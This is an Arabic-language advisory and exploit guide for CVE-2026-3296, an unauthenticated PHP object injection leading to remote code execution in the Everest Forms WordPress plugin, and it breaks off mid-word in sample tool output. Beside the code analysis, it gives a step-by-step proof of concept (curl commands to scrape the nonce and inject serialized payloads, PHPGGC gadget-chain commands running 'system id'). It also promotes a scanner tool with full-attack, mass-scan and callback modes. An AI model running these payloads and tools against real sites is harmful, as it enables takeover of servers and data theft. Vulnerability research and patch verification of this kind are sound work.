CVE-2026-3296
CVE-2026-3296 هي ثغرة حقن كائنات PHP غير مصادق عليها بتقييم CVSS 9.8 (حرج) في إضافة Everest Forms لووردبريس
الإضافة: Everest Forms – نموذج الاتصال، نموذج الدفع، الاختبارات، الاستبيانات ومنشئ النماذج المخصصة
Slug الإضافة: everest-forms
معرف CVE: CVE-2026-3296
نقاط CVSS: 9.8 (حرج)
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
نوع الثغرة: حقن كائنات PHP غير مصادق عليه → تنفيذ أوامر عن بُعد (RCE)
الإصدارات المتأثرة: <= 3.4.3
الإصدار المُصحَّح: 3.4.4
تاريخ النشر: 7 أبريل 2026
الباحث: 0xsabre — Mobikwik / Wordfence
📌 حول الثغرة
إضافة Everest Forms تستخدم دالة unserialize() الأصلية في PHP عند عرض بيانات وصفية لإدخالات النماذج في لوحة الإدارة، وذلك بدون معامل allowed_classes.
يمكن لمهاجم غير مصادق عليه تضمين حمولة كائن PHP مُسلسَلة في أي حقل نموذج عام، وحفظها في قاعدة البيانات. عند عرض الإدخال في لوحة الإدارة، يتم تشغيل unserialize() وتنفيذ أي سلسلة أدوات POP متاحة في البيئة.
🔍 ملخص الثغرة
⚙️ التحليل الفني
نموذج الهجوم على مرحلتين
المرحلة 1 — الحقن (بدون مصادقة)
المرحلة 2 — التشغيل (عرض لوحة الإدارة)
المرحلة 1 — الحقن: تخزين الحمولة
// يتم تشغيله عند كل تحميل صفحة أمامية
add_action( 'wp', array( $this, 'listen_task' ) );
// السطر 109 — تتم معالجة بيانات المستخدم بعد التنظيف
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
لماذا التنظيف غير كافٍ (evf-core-functions.php، السطر 4754)
// sanitize_text_field() يزيل وسوم HTML والبايتات الخالية
// لكنه لا يزيل أحرف تسلسل PHP (O:, s:, {, }, ;)
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
هذه الحمولة تبقى سليمة تماماً بعد sanitize_text_field():
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
خطأ إضافي — إرجاع مبكر (السطر 4764)
// جملة return $entry; داخل حلقة foreach
// → يتم تنظيف الحقل الأول فقط، وبقية الحقول تبقى خام
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← خطأ: الحلقة تخرج عند التكرار الأول
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() لا يغير السلاسل العادية
// → يتم كتابة سلسلة الكائن المسلسل كما هي
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
المرحلة 2 — التشغيل: إلغاء تسلسل غير آمن
الكود الضعيف (html-admin-page-entries-view.php، السطور 130–133)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ لا يوجد معامل allowed_classes
// الإعداد الافتراضي لـ PHP: يمكن إنشاء جميع الفئات
// → يتم تشغيل سلسلة أدوات POP
}
دالة آمنة موجودة ولكن غير مستخدمة (evf-core-functions.php، السطر 5594)
// هذه الدالة كانت موجودة بالفعل — لكن لم يتم استدعاؤها
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // آمن
}
return null;
}
return $data;
}
لماذا لا يوفر Nonce الحماية؟
<!-- مضمن في HTML النموذج العام — يمكن لأي شخص قراءته -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce يوفر حماية ضد CSRF وليس مصادقة. يمكن للمهاجم فتح صفحة النموذج عبر GET وقراءة nonce، ثم إرسال الحمولة عبر POST.
🔴 سلسلة الهجوم الكاملة
┌──────────────────────────────────────────────────────────────┐
│ المرحلة 1 — الحقن (بدون مصادقة) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → يبقي التسلسل سليماً │
│ ├── maybe_serialize() → لا يغير السلسلة │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (يقوم المسؤول بفحص روتيني)
┌──────────────────────────▼───────────────────────────────────┐
│ المرحلة 2 — التشغيل (لوحة الإدارة) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← الثغرة │
│ │ allowed_classes = (غير موجود) → كل الفئات │
│ └── سلسلة أدوات POP → __wakeup() / __destruct() │
│ → RCE / كتابة ملف / تسريب بيانات │
└──────────────────────────────────────────────────────────────┘
🧪 إثبات المفهوم (يدوي)
⚠️ إخلاء مسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحثية دفاعية فقط.
المتطلبات الأساسية:
- إضافة Everest Forms <= 3.4.3 مثبتة ونشطة
- صفحة نموذج يمكن الوصول إليها علناً
- إمكانية الوصول إلى لوحة الإدارة (للتشغيل)
الخطوة 1 — الحصول على معرف النموذج و nonce
TARGET="https://target-site.example.com/contact/"
# استخراج معرف النموذج
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# استخراج nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
الخطوة 2 — إنشاء حمولة اختبارية غير ضارة
# اختبار آمن — stdClass، لا توجد دوال سحرية
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
لإنشاء سلسلة أدوات حقيقية في بيئة عملية، استخدم PHPGGC:
# سلسلة WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# سلسلة Monolog
phpggc Monolog/RCE1 system "id" -s
الخطوة 3 — حقن الحمولة
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
المتوقع: رسالة نجاح النموذج أو إعادة توجيه.
الخطوة 4 — التحقق في قاعدة البيانات (WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# يجب أن يظهر السطر O:8:"stdClass":2:{...}
الخطوة 5 — التشغيل كمسؤول
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
عند تحميل الصفحة، يتم تشغيل unserialize().
الخطوة 6 — التحقق من سلسلة الأدوات (بيئة اختبارية)
// test-gadget.php — يُستخدم فقط في بيئة اختبارية
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'تم تأكيد حقن كائن PHP في ' . date('c')
);
}
}
cat /tmp/pwned.txt
# تم تأكيد حقن كائن PHP في 2026-04-08T...
🛠️ الماسح الآلي
التثبيت
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
🚀 الاستخدام
كشف الثغرة (حمولة غير ضارة)
python everest_forms_poi.py -u http://hedef.com --mode scan
الحقن فقط (المرحلة 1)
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
الهجوم الكامل (المرحلة 1 + المرحلة 2)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
تحديد معرف النموذج يدوياً + حمولة مخصصة
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
الكشف باستخدام استدعاء خارجي (Burp Collaborator)
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
المسح الجماعي
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
باستخدام بروكسي (Burp Suite)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
⚙️ الوسائط
الوضع
| الوضع | الوصف |
|---|
scan | حقن حمولة غير ضارة — كشف الثغرة |
inject | المرحلة 1 فقط — تخزين الحمولة |
|
الوسائط العامة
وسائط النموذج
خيارات الحمولة
بيانات اعتماد المسؤول
| الوسيطة | الوصف |
|---|
--admin-user | اسم مستخدم المسؤول |
--admin-pass | كلمة مرور المسؤول |
💀 أنواع الحمولات
💡 إنشاء سلاسل حقيقية باستخدام PHPGGC:
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s
# عرض جميع السلاسل المتاحة
phpggc -l
📊 حالات إخراج الماسح
🖥️ نموذج إخراج الماسح
[*] الهدف : http://hedef.com
[*] الوضع : full
[*] نوع الحمولة : probe
[*] الأمر : id
[*] مستخدم الإدارة : admin
[→] http://hedef.com الخطوة 1: البحث عن نموذج Everest Forms...
[→] http://hedef.com الخطوة 2: حقن الحمولة...
[→] http://hedef.com الخطوة 3: تسجيل الدخول كمسؤول...
[→] http://hedef.com الخطوة 4: البحث عن معرف الإدخال...
[→] http://hedef.com الخطوة 5: تشغيل unser